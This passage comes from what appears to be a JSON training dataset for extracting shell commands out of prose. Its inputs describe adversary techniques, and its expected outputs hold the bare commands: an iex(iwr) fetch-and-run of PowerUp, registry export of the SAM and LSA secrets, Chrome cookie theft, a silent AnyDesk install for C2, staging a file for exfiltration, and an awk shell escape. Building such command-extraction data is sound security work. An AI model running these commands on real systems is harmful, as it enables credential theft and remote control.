- Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Using living off the land techniques, you can compress a file and prepare it for exfiltration with the command: Compress-Archive -Path \"#{input_file}\" -DestinationPath #{output_file} -Force. Don't forget to check that Folder_to_zip.zip was successfully created in the temp directory.",
    "output": "{\"command_list\": [\"Compress-Archive -Path \\\"#{input_file}\\\" -DestinationPath #{output_file} -Force\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To establish C2, an adversary might trick users into downloading AnyDesk using the following command, which saves the installer to the desktop and runs it silently: Invoke-WebRequest -OutFile C:\\Users\\$env:username\\Desktop\\AnyDesk.exe https://download.anydesk.com/AnyDesk.exe\n$file1 = \"C:\\Users\\\" + $env:username + \"\\Desktop\\AnyDesk.exe\"\nStart-Process $file1 /S;",
    "output": "{\"command_list\": [\"Invoke-WebRequest -OutFile C:\\\\Users\\\\$env:username\\\\Desktop\\\\AnyDesk.exe https://download.anydesk.com/AnyDesk.exe\\n$file1 = \\\"C:\\\\Users\\\\\\\" + $env:username + \\\"\\\\Desktop\\\\AnyDesk.exe\\\"\\nStart-Process $file1 /S;\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The registry keys for local SAM, cached credentials, and LSA secrets can be extracted by executing the following commands: \nreg export HKLM\\sam %temp%\\sam\nreg export HKLM\\system %temp%\\system\nreg export HKLM\\security %temp%\\security\n\nCheck the %temp% directory for the generated files after running these commands.",
    "output": "{\"command_list\": [\"reg export HKLM\\\\sam %temp%\\\\sam\\nreg export HKLM\\\\system %temp%\\\\system\\nreg export HKLM\\\\security %temp%\\\\security\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The file can be downloaded via the command: powershell.exe iwr -URI #{remote_file} -Outfile #{local_path}",
    "output": "{\"command_list\": [\"powershell.exe iwr -URI #{remote_file} -Outfile #{local_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For extracting encrypted cookies from Chrome's SQLite database in a Zloader/Zbot-like fashion, execute: \nstop-process -name \"chrome\" -force -erroraction silentlycontinue\n\"select host_key, name, encrypted_value, path, expires_utc, is_secure, is_httponly from [Cookies];\" | cmd /c #{sqlite3_path} \"#{cookie_db}\" | out-file -filepath \"#{output_file}\"\nThe command first terminates any running Chrome instances to avoid file locking conflicts.",
    "output": "{\"command_list\": [\"stop-process -name \\\"chrome\\\" -force -erroraction silentlycontinue\\n\\\"select host_key, name, encrypted_value, path, expires_utc, is_secure, is_httponly from [Cookies];\\\" | cmd /c #{sqlite3_path} \\\"#{cookie_db}\\\" | out-file -filepath \\\"#{output_file}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    When you need to terminate a service's process with a SIGTERM signal, execute this command: sudo kill -SIGTERM $(pgrep #{process_name}). If the service isn't running, no process will be found to kill.",
    "output": "{\"command_list\": [\"sudo kill -SIGTERM $(pgrep #{process_name})\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Various system components can be identified by executing this series of WMIC commands: wmic cpu get name\nwmic MEMPHYSICAL get MaxCapacity\nwmic baseboard get product\nwmic baseboard get version\nwmic bios get SMBIOSBIOSVersion\nwmic path win32_VideoController get name\nwmic path win32_VideoController get DriverVersion\nwmic path win32_VideoController get VideoModeDescription\nwmic OS get Caption,OSArchitecture,Version\nwmic DISKDRIVE get Caption\nGet-WmiObject win32_bios\n, which retrieves information about hardware and software configurations.",
    "output": "{\"command_list\": [\"wmic cpu get name\\nwmic MEMPHYSICAL get MaxCapacity\\nwmic baseboard get product\\nwmic baseboard get version\\nwmic bios get SMBIOSBIOSVersion\\nwmic path win32_VideoController get name\\nwmic path win32_VideoController get DriverVersion\\nwmic path win32_VideoController get VideoModeDescription\\nwmic OS get Caption,OSArchitecture,Version\\nwmic DISKDRIVE get Caption\\nGet-WmiObject win32_bios\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To break out of restricted environments using awk, you can spawn a shell by running this command: awk 'BEGIN {system(\"/bin/sh &\")}'.",
    "output": "{\"command_list\": [\"awk 'BEGIN {system(\\\"/bin/sh &\\\")}'\"]}"
  },
  {
